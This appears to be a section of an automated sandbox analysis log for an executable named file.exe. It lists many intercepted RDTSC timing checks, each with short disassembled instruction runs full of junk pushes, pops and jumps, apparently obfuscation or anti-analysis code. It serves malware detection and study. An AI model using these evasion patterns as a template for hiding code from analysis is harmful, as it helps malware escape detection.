Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7307CC second address: 7307D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7307D4 second address: 7307EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4757 second address: 6E475C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B29AC second address: 6B29B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B29B2 second address: 6B29B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B29B6 second address: 6B29D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FB8A0D84C9Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FB8A0D84C9Dh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730BAF second address: 730BB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730BB5 second address: 730BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB8A0D84C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE600 second address: 6BE606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE606 second address: 6BE60C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE60C second address: 6BE647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007FB8A0B10076h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007FB8A0B10080h 0x00000018 push eax 0x00000019 jmp 00007FB8A0B10085h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BDF2 second address: 73BE15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FB8A0D84C96h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B9B1 second address: 73B9B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CCDA second address: 73CD52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB8A0D84CA5h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FB8A0D84CA7h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007FB8A0D84CA3h 0x0000001f jmp 00007FB8A0D84CA4h 0x00000024 popad 0x00000025 jno 00007FB8A0D84C9Eh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CD52 second address: 73CD58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CD58 second address: 73CD5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CD5E second address: 73CD64 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744F05 second address: 744F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744F0B second address: 744F0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744F0F second address: 744F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB8A0D84CA0h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744F29 second address: 744F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7041FD second address: 6E3BE9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FB8A0D84C98h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D2954h], ebx 0x0000002b call dword ptr [ebp+122D28ECh] 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FB8A0D84CA7h 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704A97 second address: 704AC0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB8A0B10078h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FB8A0B10086h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704AC0 second address: 704ACA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB8A0D84C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704C67 second address: 704C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704C6B second address: 704C9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FB8A0D84C9Fh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704DBD second address: 704E0E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB8A0B10076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007FB8A0B10087h 0x00000011 jmp 00007FB8A0B10081h 0x00000016 nop 0x00000017 adc edx, 64B07D41h 0x0000001d push 00000004h 0x0000001f mov edx, eax 0x00000021 nop 0x00000022 jmp 00007FB8A0B10084h 0x00000027 push eax 0x00000028 jl 00007FB8A0B10084h 0x0000002e push eax 0x0000002f push edx 0x00000030 jo 00007FB8A0B10076h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7051F9 second address: 7051FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7051FD second address: 70523C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jbe 00007FB8A0B1007Ch 0x00000010 push 0000001Eh 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FB8A0B10078h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c xor cl, FFFFFF9Dh 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70558D second address: 705594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705594 second address: 7055BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10080h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB8A0B10083h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7055BF second address: 7055C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7055C3 second address: 705617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 or cx, 98F6h 0x0000000d lea eax, dword ptr [ebp+12489F14h] 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FB8A0B10078h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov dword ptr [ebp+1246179Ah], esi 0x00000033 push ebx 0x00000034 push eax 0x00000035 mov edi, dword ptr [ebp+122D37AEh] 0x0000003b pop ecx 0x0000003c pop ecx 0x0000003d push eax 0x0000003e push ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FB8A0B1007Fh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705617 second address: 70561B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70561B second address: 70564A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1FDFh], eax 0x00000010 lea eax, dword ptr [ebp+12489ED0h] 0x00000016 call 00007FB8A0B1007Dh 0x0000001b stc 0x0000001c pop ecx 0x0000001d nop 0x0000001e push edx 0x0000001f jnc 00007FB8A0B1007Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70564A second address: 6E4757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jg 00007FB8A0D84CA2h 0x0000000c nop 0x0000000d mov dx, FCC3h 0x00000011 call dword ptr [ebp+122D1BFDh] 0x00000017 jmp 00007FB8A0D84CA9h 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f jno 00007FB8A0D84C96h 0x00000025 pop esi 0x00000026 push edi 0x00000027 jmp 00007FB8A0D84CA4h 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744579 second address: 74457F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74457F second address: 744583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7446BD second address: 7446C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7446C4 second address: 7446E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB8A0D84C9Eh 0x00000008 jmp 00007FB8A0D84CA0h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7449A5 second address: 7449AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7449AB second address: 7449AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74651C second address: 746530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8A0B1007Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746530 second address: 74653E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FB8A0D84C9Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749200 second address: 749204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749204 second address: 74921A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84CA0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BAED second address: 74BB09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB8A0B10083h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BB09 second address: 74BB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BB0E second address: 74BB13 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752ECF second address: 752ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752ED5 second address: 752ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752ED9 second address: 752EFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FB8A0D84CAEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75317D second address: 75318F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jbe 00007FB8A0B10076h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75318F second address: 753195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70501C second address: 705082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0B10084h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c or ecx, dword ptr [ebp+122D3466h] 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007FB8A0B10078h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e push eax 0x0000002f jnp 00007FB8A0B10099h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FB8A0B10087h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753470 second address: 753474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753ECD second address: 753ED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB8A0B10076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753ED7 second address: 753EDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753EDD second address: 753EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jc 00007FB8A0B10076h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB8A0B1007Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757A0B second address: 757A2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB8A0D84CA2h 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007FB8A0D84C96h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757A2D second address: 757A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B5E2 second address: 75B5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007FB8A0D84C96h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B26A second address: 75B26E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B26E second address: 75B27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB8A0D84C96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B27F second address: 75B292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0B1007Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76203C second address: 762040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762040 second address: 762046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762197 second address: 7621B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jmp 00007FB8A0D84C9Ch 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FB8A0D84C9Ah 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7621B9 second address: 7621BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76231F second address: 76232E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB8A0D84C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762680 second address: 76268F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007FB8A0B10076h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76268F second address: 7626A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Eh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762968 second address: 762970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762BF5 second address: 762BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762BF9 second address: 762C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762C04 second address: 762C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7639A7 second address: 7639AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7639AB second address: 7639B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7639B1 second address: 7639BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB8A0B10076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7639BD second address: 7639C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D269 second address: 76D26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D26D second address: 76D2A1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB8A0D84C96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB8A0D84CA5h 0x00000011 popad 0x00000012 push edx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 jnl 00007FB8A0D84C96h 0x0000001c jp 00007FB8A0D84C96h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DAF2 second address: 76DAF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DCB9 second address: 76DCC3 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB8A0D84C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776592 second address: 7765A9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB8A0B1007Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7765A9 second address: 7765C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB8A0D84C9Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7765C3 second address: 7765C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7765C7 second address: 7765CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7749F6 second address: 7749FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774CFF second address: 774D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774D05 second address: 774D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
